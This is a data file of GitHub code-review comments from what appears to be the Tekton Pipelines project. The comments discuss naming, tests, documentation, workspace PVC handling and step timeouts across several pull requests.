+{"author": null, "body": "Typically initialisms are all uppercase in Go, which would make this `processPRTTL`. I suggest `processPipelineRunTTL` as maybe a slightly more readable alternative here.", "comment_id": 363294320, "created_at": "2020-01-06T13:34:10Z", "line": 77, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "At the moment the name of this func suggests it will do some cleanup work but it's just a check for whether a pipelinerun needs to have its expiration processed. I suggest `isPipelineRunExpiring()` or `shouldCleanupPipelineRun()` or a similar such name here.", "comment_id": 363295467, "created_at": "2020-01-06T13:37:25Z", "line": 143, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "Why choose to return pointers here?", "comment_id": 363302612, "created_at": "2020-01-06T13:56:33Z", "line": 108, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "Add comment for this func.", "comment_id": 363302871, "created_at": "2020-01-06T13:57:11Z", "line": 98, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "Add comment for this func.", "comment_id": 363302926, "created_at": "2020-01-06T13:57:18Z", "line": 111, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "For readability I think it might be a good idea to split this up into two different test funcs - the first can execute all the error cases and the second all the success cases. This will reduce the number of `if` statements in the test and make the split between \"this tests errors\" and \"this tests successes\" clearer.\r\n\r\nWe then also wouldn't need the \"Error case: \" prefix in this name strings.", "comment_id": 363307136, "created_at": "2020-01-06T14:07:37Z", "line": 65, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired_test.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "nit: remove extra line.", "comment_id": 363308274, "created_at": "2020-01-06T14:10:04Z", "line": 129, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "nit: remove extra newline.", "comment_id": 363308352, "created_at": "2020-01-06T14:10:17Z", "line": 163, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "This is effectively a copy/paste of the pipelinerun_expired.go file with some small changes for taskruns. I think there are clear ways that the code here could be de-duplicated and moved to its own package. Happy to chat on Slack if you want to discuss the options!\r\n\r\nMost of my comments from pipelinerun_expired.go also apply here :- \r\n\r\n* Type assertions should be checked so that they don't panic.\r\n* Initialisms in names should be uppercased (`processTrTTL` -> `processTRTTL` or, better yet, `processTaskRunTTL`)\r\n* The private helper funcs need comments.\r\n* `taskrunCleanUp` sounds like it is going to do some work and could be better named `shouldCleanUpTaskRun` or similar.\r\n* I don't understand why we're returning pointers to `time.Time` structs.\r\n\r\netc...", "comment_id": 363310932, "created_at": "2020-01-06T14:16:52Z", "line": 1, "path": "pkg/reconciler/taskrun/taskrun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "Remove dead code.", "comment_id": 363312226, "created_at": "2020-01-06T14:21:12Z", "line": 19, "path": "pkg/reconciler/taskrun/taskrun_expired_test.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "Also suggest splitting this into two test funcs - one for success cases and one for error cases.", "comment_id": 363312431, "created_at": "2020-01-06T14:21:42Z", "line": 69, "path": "pkg/reconciler/taskrun/taskrun_expired_test.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "Add func comment here.", "comment_id": 363312670, "created_at": "2020-01-06T14:22:15Z", "line": 418, "path": "test/builder/task.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "I am confused about this. `TTLExpiredController` is an alpha-level kubernetes controller, is that right? And here we are creating an instance of that controller and enqueuing a pipelinerun for it. But the kubernetes docs for the controller say that it only works for Jobs. So what does this do exactly?", "comment_id": 363315709, "created_at": "2020-01-06T14:29:30Z", "line": 31, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "I suggest adding a comment here that points to `https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/#time-skew`", "comment_id": 363315861, "created_at": "2020-01-06T14:29:50Z", "line": 117, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "anxinyf", "body": "This means [foreground cascading deletion](https://kubernetes.io/docs/concepts/workloads/controllers/garbage-collection/#foreground-cascading-deletion), and from [Controlling how the garbage collector deletes dependents](https://kubernetes.io/docs/concepts/workloads/controllers/garbage-collection/#controlling-how-the-garbage-collector-deletes-dependents)", "comment_id": 364073943, "created_at": "2020-01-08T05:56:59Z", "line": 64, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "anxinyf", "body": "Mainliy want to check variable finishAt is not null when pipelinerun is done(succeed or failed).", "comment_id": 364089471, "created_at": "2020-01-08T07:13:45Z", "line": 108, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "`an new entry` -> `a new entry`", "comment_id": 370268526, "created_at": "2020-01-23T17:57:21Z", "line": null, "path": "docs/taskruns.md", "pr_number": 1921, "repo": "pipeline"} +{"author": null, "body": "It might be worth adding a line afterwards explaining the newlines such as \"Results will be printed verbatim; any new lines or other whitespace returned as part of the result will be included in the output.\"\r\n\r\n", "comment_id": 370269570, "created_at": "2020-01-23T17:59:32Z", "line": 364, "path": "docs/taskruns.md", "pr_number": 1921, "repo": "pipeline"} +{"author": null, "body": "Suggest `[This bug is being tracked in issue 1347](https://github.com/tektoncd/pipeline/issues/1347)` to render as a descriptive link.", "comment_id": 370270387, "created_at": "2020-01-23T18:01:12Z", "line": null, "path": "docs/taskruns.md", "pr_number": 1921, "repo": "pipeline"} +{"author": null, "body": "`humand` -> `human`", "comment_id": 370303517, "created_at": "2020-01-23T19:12:01Z", "line": null, "path": "docs/tasks.md", "pr_number": 1921, "repo": "pipeline"} +{"author": null, "body": "Suggest `[Issue 1347](https://github.com/tektoncd/pipeline/issues/1347) has been created to track this bug.`", "comment_id": 370304951, "created_at": "2020-01-23T19:15:02Z", "line": null, "path": "docs/tasks.md", "pr_number": 1921, "repo": "pipeline"} +{"author": null, "body": "I *think* this one is supposed to be nested. Looking for the heading below it appears to be one level smaller than `Inputs and Outputs`", "comment_id": 370306398, "created_at": "2020-01-23T19:18:01Z", "line": null, "path": "docs/tasks.md", "pr_number": 1921, "repo": "pipeline"} +{"author": null, "body": "This should be `// +optional` i think.", "comment_id": 370306949, "created_at": "2020-01-23T19:19:07Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/taskrun_types.go", "pr_number": 1921, "repo": "pipeline"} +{"author": null, "body": "oh haha, i see that ResourceResult has this wrong as well.", "comment_id": 370307109, "created_at": "2020-01-23T19:19:28Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/taskrun_types.go", "pr_number": 1921, "repo": "pipeline"} +{"author": null, "body": "`TaskRunResults` to match the field name. Maybe this should be something like, \"TaskRunResults are the list of results written out by the task's containers\"", "comment_id": 370307291, "created_at": "2020-01-23T19:19:53Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/taskrun_types.go", "pr_number": 1921, "repo": "pipeline"} +{"author": "othomann", "body": "Fixed.", "comment_id": 370359482, "created_at": "2020-01-23T21:18:41Z", "line": null, "path": "docs/taskruns.md", "pr_number": 1921, "repo": "pipeline"} +{"author": "othomann", "body": "I don't see what you mean there. My editor reports issues if '*' are used as being inconsistent with other unordered list from the same document.", "comment_id": 370364207, "created_at": "2020-01-23T21:29:13Z", "line": null, "path": "docs/tasks.md", "pr_number": 1921, "repo": "pipeline"} +{"author": "othomann", "body": "Adding indentation to fix this.", "comment_id": 370367780, "created_at": "2020-01-23T21:36:48Z", "line": null, "path": "docs/tasks.md", "pr_number": 1921, "repo": "pipeline"} +{"author": "imjasonh", "body": "Can you add doc comments for these?", "comment_id": 426565910, "created_at": "2020-05-18T11:46:00Z", "line": null, "path": "pkg/workspace/affinity_assistant_names.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "imjasonh", "body": "Can you make this a TODO with an issue number? We almost certainly want a smaller purpose-built binary for this, and luckily it won't be that hard to add.", "comment_id": 426566799, "created_at": "2020-05-18T11:47:45Z", "line": null, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "As @afrittoli mentioned. If `podTemplate.Affinity` has a value here, we can emit a _warning_-Event.", "comment_id": 426796589, "created_at": "2020-05-18T17:49:56Z", "line": 227, "path": "pkg/pod/pod.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: perhaps we could have a link here that points to an explanation about why we do recommend this", "comment_id": 428746206, "created_at": "2020-05-21T15:52:40Z", "line": 366, "path": "docs/tasks.md", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT/Ditto: shall we point to an explanation here?\r\n\r\nIs this true for any kind of workspace, regardless of the type of volume backing them?\r\nA write-able workspace will be used in most cases to share data between tasks, however I could image use cases where it might make sense to have more than one.", "comment_id": 428749811, "created_at": "2020-05-21T15:58:04Z", "line": 93, "path": "docs/workspaces.md", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "s/is/are/", "comment_id": 428752264, "created_at": "2020-05-21T16:02:08Z", "line": null, "path": "examples/v1beta1/pipelineruns/pipeline-run-with-parallel-tasks-using-pvc.yaml", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "\u2764\ufe0f Documentation on tests, thank you!!", "comment_id": 428760714, "created_at": "2020-05-21T16:16:42Z", "line": 1, "path": "examples/v1beta1/pipelineruns/pipeline-run-with-parallel-tasks-using-pvc.yaml", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: s/her/here\r\ns/depend/depends", "comment_id": 428762529, "created_at": "2020-05-21T16:19:57Z", "line": null, "path": "examples/v1beta1/pipelineruns/pipeline-run-with-parallel-tasks-using-pvc.yaml", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "One small issue with the example is that in this format it's not easy to run multiple times with a single `k` command. This will work fine in CI, but when running locally it's not ideal, because `k apply` won't work because of the `generateName` and `k create` will fail on the second run because all resources - except for the run - already exists.\r\n\r\nTwo possible solutions: \r\n- embed everything. That allows using `k create` multiple times but it reduces the example readability\r\n- use a fixed name for the pipelinerun. The allows at least to do `k delete -f ; k apply|create -f ` when running locally", "comment_id": 428770195, "created_at": "2020-05-21T16:33:11Z", "line": 190, "path": "examples/v1beta1/pipelineruns/pipeline-run-with-parallel-tasks-using-pvc.yaml", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "Thanks for reviewing!\r\n\r\n>Is this true for any kind of workspace, regardless of the type of volume backing them?\r\n\r\nI write _recommend_ since it is not strictly needed, but for a Task to be usable in most clusters. \r\n\r\nWe have workspace volume sources: `Secret`, `ConfigMap`, `PersistentVolumeClaim` and `emptyDir`. I consider `Secret` and `ConfigMap` as _readonly_. You can have multiple writeable `emptyDir` in your `Task` - but not useful in a `PipelineRun`.\r\n\r\nYou can have multiple writeable `PersistentVolumeClaim` if it supports [access mode](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#access-modes) `ReadWriteMany` - but there are few storage solutions available with that access mode, typically e.g. NFS-servers. If using this, this feature can be disabled.\r\n\r\nPVCs with access mode `ReadOnlyMany` can be mounted on multiple Nodes at the time, so it works. But is **read-only**. I should probably update my code to not add Affinity Assistant in those cases.\r\n\r\nUsing PVC with access mode `ReadWriteOnce` (the most common access mode) can only be mounted on one Node at a time. In addition, they most commonly lives in a single datacenter/Availability Zone. So if a pipeline starts e.g. with two parallel tasks - they may be scheduled to two different Availability Zones - this goes fine - until a Task try to mount both volumes - located in different AZ, and the pipeline is deadlocked - but this only happens when scheduled to different zones. This happened to me in the [parallel example](https://github.com/tektoncd/pipeline/pull/2546) that I added to the examples and caused _flaky_ tests for the Tekton Pipelines project - and had to **remove**. I also documented all these technicalities in [Specifying workspace order in a pipeline](https://github.com/tektoncd/pipeline/blob/master/docs/workspaces.md#specifying-workspace-order-in-a-pipeline) but that section is full of technicalities and even a **warning**. This was my main motivation to create this feature - in this PR that section of the documentation is less technical and the corner-cases is solved with this PR.\r\n\r\nBut as you say, you _can_ use multiple writable volumes, but you need to be careful and know what you are doing.\r\n\r\nThe improved performance with this PR was a side-effect, my main motivation was to make it easy to use commonly availably PVCs in parallel without deadlocks or Tasks that are timed out (as in the current warning).\r\n\r\nI think it is good that we _recommend_ to design Tasks with only one writeable workspace - this makes it fully functional in all cases when using this feature. There is probably other good solutions for cases that first was designed with multiple writable workspaces? e.g. using buckets or other storage that is not limited to only one AZ and is not _mounted_ on the Node?\r\n\r\nThis is a complex field were I run into many problems the last weeks, we should improve the documentation as you say. For me it is also important to make Tekton easy to use without corner-cases in a non-technical way :)", "comment_id": 428910545, "created_at": "2020-05-21T20:57:40Z", "line": 93, "path": "docs/workspaces.md", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "I usually do this for runs, since it is easier for me to work with using `kubectl`. When having a static name here, there is no easy way to create multiple concurrent runs using `kubectl`. For creating the full file, it is possible to use `kubectl create -f example.yaml` and then `kubectl delete -f example.yaml` (except that the run isnt deleted) and I often have the run in its own file, so it is easy to create many concurrent using `kubectl create -f run.yaml` - that will not work with a static name and `kubectl apply -f run.yaml`. Using `generateName` is also what the user should use in a `TriggerTemplate`.\r\n\r\nYes, for readability I don't like to embed in the examples.", "comment_id": 428915666, "created_at": "2020-05-21T21:08:41Z", "line": 190, "path": "examples/v1beta1/pipelineruns/pipeline-run-with-parallel-tasks-using-pvc.yaml", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "> Thanks for reviewing!\r\n> \r\n> > Is this true for any kind of workspace, regardless of the type of volume backing them?\r\n> \r\n> I write _recommend_ since it is not strictly needed, but for a Task to be usable in most clusters.\r\n> \r\n> We have workspace volume sources: `Secret`, `ConfigMap`, `PersistentVolumeClaim` and `emptyDir`. I consider `Secret` and `ConfigMap` as _readonly_. You can have multiple writeable `emptyDir` in your `Task` - but not useful in a `PipelineRun`.\r\n> \r\n> You can have multiple writeable `PersistentVolumeClaim` if it supports [access mode](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#access-modes) `ReadWriteMany` - but there are few storage solutions available with that access mode, typically e.g. NFS-servers. If using this, this feature can be disabled.\r\n> \r\n> PVCs with access mode `ReadOnlyMany` can be mounted on multiple Nodes at the time, so it works. But is **read-only**. I should probably update my code to not add Affinity Assistant in those cases.\r\n\r\n+1 - could also be a follow-up PR if you want\r\nyou'll need to rebase in any case\r\n\r\n> \r\n> Using PVC with access mode `ReadWriteOnce` (the most common access mode) can only be mounted on one Node at a time. In addition, they most commonly lives in a single datacenter/Availability Zone. So if a pipeline starts e.g. with two parallel tasks - they may be scheduled to two different Availability Zones - this goes fine - until a Task try to mount both volumes - located in different AZ, and the pipeline is deadlocked - but this only happens when scheduled to different zones. This happened to me in the [parallel example](https://github.com/tektoncd/pipeline/pull/2546) that I added to the examples and caused _flaky_ tests for the Tekton Pipelines project - and had to **remove**. I also documented all these technicalities in [Specifying workspace order in a pipeline](https://github.com/tektoncd/pipeline/blob/master/docs/workspaces.md#specifying-workspace-order-in-a-pipeline) but that section is full of technicalities and even a **warning**. This was my main motivation to create this feature - in this PR that section of the documentation is less technical and the corner-cases is solved with this PR.\r\n> \r\n> But as you say, you _can_ use multiple writable volumes, but you need to be careful and know what you are doing.\r\n> \r\n> The improved performance with this PR was a side-effect, my main motivation was to make it easy to use commonly availably PVCs in parallel without deadlocks or Tasks that are timed out (as in the current warning).\r\n> \r\n> I think it is good that we _recommend_ to design Tasks with only one writeable workspace - this makes it fully functional in all cases when using this feature. There is probably other good solutions for cases that first was designed with multiple writable workspaces? e.g. using buckets or other storage that is not limited to only one AZ and is not _mounted_ on the Node?\r\n\r\nI agree on the recommendation, I was just wondering if we should document some of the reasoning behind it, or what issues one might run into when using more than one.\r\n\r\n> \r\n> This is a complex field were I run into many problems the last weeks, we should improve the documentation as you say. For me it is also important to make Tekton easy to use without corner-cases in a non-technical way :)\r\n\r\n", "comment_id": 429125564, "created_at": "2020-05-22T08:54:18Z", "line": 93, "path": "docs/workspaces.md", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "Fair enough. I always use `generateName` too. Looking through our examples I see a mixture of name and generateName, so perhaps we can try to converge towards using generateName everywhere then :)", "comment_id": 429140902, "created_at": "2020-05-22T09:26:31Z", "line": 190, "path": "examples/v1beta1/pipelineruns/pipeline-run-with-parallel-tasks-using-pvc.yaml", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "Nice, this returns nil if the list is empty :)", "comment_id": 429253405, "created_at": "2020-05-22T13:42:58Z", "line": 71, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: I find having the same name for the variable and the method to be slightly confusing, but maybe it's just me :)", "comment_id": 429264268, "created_at": "2020-05-22T14:01:20Z", "line": null, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "I wonder if we could run into name length issues? Not so much for the replicaset itself, but for the pod generated by it.", "comment_id": 429265121, "created_at": "2020-05-22T14:02:50Z", "line": 98, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "I think it would be nice to propagate more labels here like we do for taskruns: https://github.com/tektoncd/pipeline/blob/0ecca103eb2360fda2327d72c3dff56aa2f12e61/pkg/reconciler/pipelinerun/pipelinerun.go#L742\r\nEven if the controller does not need them, people and/or tools may rely on label to discover resources associated to a pipelinerun.", "comment_id": 429273515, "created_at": "2020-05-22T14:17:14Z", "line": null, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "This looks nice :)\r\nFor other resources that we create in the controllers, we usually also check that the created spec matches an expected one. It may be worth adding the same here.", "comment_id": 429275160, "created_at": "2020-05-22T14:20:02Z", "line": 68, "path": "pkg/reconciler/pipelinerun/affinity_assistant_test.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: I find the name confusing - from the name I would expect the method to disable affinity assistant. What about `isAffinityAssistantDisabled` or `isAffinityAssistantEnabled` ?", "comment_id": 429284142, "created_at": "2020-05-22T14:34:50Z", "line": null, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "We should read the config option from the pipeline controller config store, rather than adding an API call here", "comment_id": 429284823, "created_at": "2020-05-22T14:36:04Z", "line": 207, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: s/mutual/mutually", "comment_id": 429286073, "created_at": "2020-05-22T14:38:11Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "Yeah, that would be really nice. We could log a warning and emit an event. ", "comment_id": 429286862, "created_at": "2020-05-22T14:39:26Z", "line": 227, "path": "pkg/pod/pod.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "It would be nice to have tests to verify the case where the original pod affinity is overwritten by the affinity assistant and also to verify that the original pod affinity is not overwritten when the affinity assistant is disabled or there is no PVC backed workspace.", "comment_id": 429295470, "created_at": "2020-05-22T14:54:04Z", "line": 780, "path": "pkg/pod/pod_test.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "This means that we will retry later to cleanup it up, and that we won't stop the timeout handler or calculate metrics until this was successful. It's the same approach used for the artifact storage, it makes sense to me, just checking that this is the intended behaviour.", "comment_id": 429297117, "created_at": "2020-05-22T14:56:57Z", "line": 189, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "afrittoli", "body": "Would it make sense to test that if an assistant already exists, no new one is created?\r\nShould it we test what happens with non-PVC backed workspaces?\r\nIt would be nice to see the case of two groups of tasks with two different PVC - so I would expect two different assistants. I know that we do not recommend that setup, but unless we explicitly block it, we need to support it.", "comment_id": 429307829, "created_at": "2020-05-22T15:16:37Z", "line": 1785, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "Yes, I'll take more extensive documentation about PVCs and what to think about in a separate PR.", "comment_id": 429451516, "created_at": "2020-05-22T21:07:18Z", "line": 93, "path": "docs/workspaces.md", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "I agree with you. I have renamed the function to `getAffinityAssistantName()`\r\n\r\nThanks for noting this!", "comment_id": 429451929, "created_at": "2020-05-22T21:08:38Z", "line": null, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "Pods from StatefulSet only append `-0` ..but yeah, long name may be a thing. Kubernetes names can be up to 253 chars, but more limited is labels. This problem may also occur other places. If we should address this, I would like to do it in a separate PR.", "comment_id": 429452577, "created_at": "2020-05-22T21:10:46Z", "line": 98, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "This is a good suggestion. I implemented a similar function for the AffinityAssistant now and propagate labels from PipelineRun. Thanks.", "comment_id": 429453010, "created_at": "2020-05-22T21:12:03Z", "line": null, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": ">case where the original pod affinity is overwritten by the affinity assistant\r\n\r\nYes, I'll add a check if it overwrites an already set custom affinity - in a separate PR, that PR could implement that test case.", "comment_id": 429455357, "created_at": "2020-05-22T21:20:08Z", "line": 780, "path": "pkg/pod/pod_test.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "Sounds good to me. I imagine this should have similar lifecycle as the artifact-store, yes.", "comment_id": 429455611, "created_at": "2020-05-22T21:21:03Z", "line": 189, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": ">Would it make sense to test that if an assistant already exists, no new one is created?\r\n\r\nThey would have _identical_ names, so Kubernetes would return `AlreadyExists` error, and that case is handled in the create-function.\r\n\r\n>Should it we test what happens with non-PVC backed workspaces?\r\n\r\nYes, this is a good suggestion. I had two tasks, one with PVC workspace and one without workspace. But I have changed to three tasks now, using two different PVC workspaces, and the third using an emptyDir-workspace. This should cover the cases you describe and test-coverage is up.\r\n\r\n>It would be nice to see the case of two groups of tasks with two different PVC - so I would expect two different assistants.\r\n\r\nYes, I added, so this case is covered now. Thanks.\r\n\r\n>I know that we do not recommend that setup, but unless we explicitly block it, we need to support it.\r\n\r\nThis is actually a valid case. A `PipelineRun` can have multiple PVC-workspaces. But a single `Task` should not use more than one. E.g. you can have a Pipeline with two parallel \"tracks\" that builds two artifacts using two PVCs. Then a common Task can use the Task Results from both tracks and e.g. deploy both Image-Digests. That should work perfectly fine. The Tasks using different PVCs would execute on two separate Nodes (or the same) in a Best Effort fashion.", "comment_id": 429458634, "created_at": "2020-05-22T21:29:39Z", "line": 1785, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "Yes, but this is mostly a _static_ spec, only name, and labels is dynamic. I don't feel a spec-test would add much value.", "comment_id": 429459748, "created_at": "2020-05-22T21:31:10Z", "line": 68, "path": "pkg/reconciler/pipelinerun/affinity_assistant_test.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "Good catch. `isAffinityAssistantDisabled` is a much better name, I have changed name to your suggestion. Thanks!", "comment_id": 429460315, "created_at": "2020-05-22T21:31:56Z", "line": null, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "jlpettersson", "body": "I totally agree with you! But here I am implementing it the same way as how the other feature-flags in the same ConfigMap is implemented.\r\n\r\nI agree that we should improve this. But it should be improved for all feature-flags for this ConfigMap - in my opinion. I don't consider this to be in scope for this PR.\r\n\r\nI have seen that there is another PR that is improving on this.", "comment_id": 429461490, "created_at": "2020-05-22T21:34:36Z", "line": 207, "path": "pkg/reconciler/pipelinerun/affinity_assistant.go", "pr_number": 2630, "repo": "pipeline"} +{"author": "gabemontero", "body": "this could be further broken out into a separate webhook command / deployment if that level of pluggability / opt in was desired", "comment_id": 441665107, "created_at": "2020-06-17T16:14:25Z", "line": 196, "path": "cmd/webhook/main.go", "pr_number": 2797, "repo": "pipeline"} +{"author": "gabemontero", "body": "aggregating the role around being able to view clustertasks to the pre-existing k8s view role is another option around giving read access to `ClusterTasks` out of the box", "comment_id": 441666409, "created_at": "2020-06-17T16:16:33Z", "line": null, "path": "config/200-role.yaml", "pr_number": 2797, "repo": "pipeline"} +{"author": "gabemontero", "body": "I went ahead and added the Pod Security Policy best practice suff we discussed in the API WG, since I was creating this new doc file where the content would live.\r\n\r\nIt certainly is a separate concept from ClusterTask access.\r\n\r\nIf desired I'll move this to separate PR.", "comment_id": 453764240, "created_at": "2020-07-13T16:10:33Z", "line": 44, "path": "docs/authorization.md", "pr_number": 2797, "repo": "pipeline"} +{"author": "imjasonh", "body": "Could we change this to \"sleep 10\" or something similarly short? This would cause it to fail faster in case timeout logic is broken by a future change.", "comment_id": 468696494, "created_at": "2020-08-11T16:07:52Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "Could we link to https://golang.org/pkg/time/#ParseDuration instead? That has roughly the same information, and is less likely to fall out of sync than a link to specific lines of code in the Go stdlib.", "comment_id": 468697115, "created_at": "2020-08-11T16:08:52Z", "line": null, "path": "docs/tasks.md", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "nit: this TODO seems to be out of date and could be deleted.", "comment_id": 468698017, "created_at": "2020-08-11T16:10:12Z", "line": null, "path": "pkg/pod/entrypoint.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "It might be easier to only append the arg if it's value is !=0 -- in particular, that would remove the need for a lot of (all of?) the changes in `entrypoint_test.go` below.", "comment_id": 468698588, "created_at": "2020-08-11T16:11:02Z", "line": null, "path": "pkg/pod/entrypoint.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "The args to `orderContainers` are becoming a bit of a smell. \ud83d\udc43 \r\n\r\nPerhaps it should take a `[]Step` instead of `[]Container` and a parallel slice of timeouts?\r\n\r\n(Not necessarily required for this change, but something to think about)", "comment_id": 468699598, "created_at": "2020-08-11T16:12:40Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "This should be:\r\n\r\n```\r\nsidecarStep := v1beta1.Step{\r\n Container: step.Container,\r\n Script: step.Script,\r\n}\r\n```\r\n\r\n(This makes it clearer what fields these values are being passed to, rather than depending on the field ordering in the struct, which could change subtly in the future.)", "comment_id": 468700485, "created_at": "2020-08-11T16:14:06Z", "line": null, "path": "pkg/pod/script.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "Looking through these test cases it doesn't seem like there are any that check that a step that specifies `timeout` results in a pod container that specifies the `-timeout` flag with the same value -- all the tests have `\"-timeout\", \"\"`. Could you add one, to guard against future breakages?", "comment_id": 468701855, "created_at": "2020-08-11T16:16:12Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "bobcatfish", "body": "thanks for adding docs! could you add a link to this in the TOC at the top of https://github.com/tektoncd/pipeline/blob/master/docs/tasks.md ?", "comment_id": 469325340, "created_at": "2020-08-12T15:00:17Z", "line": 245, "path": "docs/tasks.md", "pr_number": 3087, "repo": "pipeline"} +{"author": "bobcatfish", "body": "examples can't currently fail b/c this will cause the integration tests to fail - also the examples are (currently) meant to be examples of successful tasks + pipelines (might change via https://github.com/tektoncd/pipeline/issues/3076 !)\r\n\r\nso this would need to be an end to end test instead", "comment_id": 469328501, "created_at": "2020-08-12T15:04:42Z", "line": null, "path": "examples/v1beta1/taskruns/step-timeout.yaml", "pr_number": 3087, "repo": "pipeline"} +{"author": "bobcatfish", "body": "what do you think about having this be the default and not provide it when it's not needed? (no strong feelings but feels a bit unnecessary)", "comment_id": 469329043, "created_at": "2020-08-12T15:05:24Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i'm a bit confused by this test case, if this is unrelated to timeouts maybe we can merge it separately?", "comment_id": 469329470, "created_at": "2020-08-12T15:06:02Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i'm also wondering about testing this private method - often testing private methods is a sign that the method under test could be factored differently, e.g. be an exported part of a different package, or that the testing belongs at a different level (e.g. the thing calling getResults)\r\n\r\nim usually more inclined to the first option :D", "comment_id": 469330330, "created_at": "2020-08-12T15:07:10Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "bobcatfish", "body": "could this talk a bit 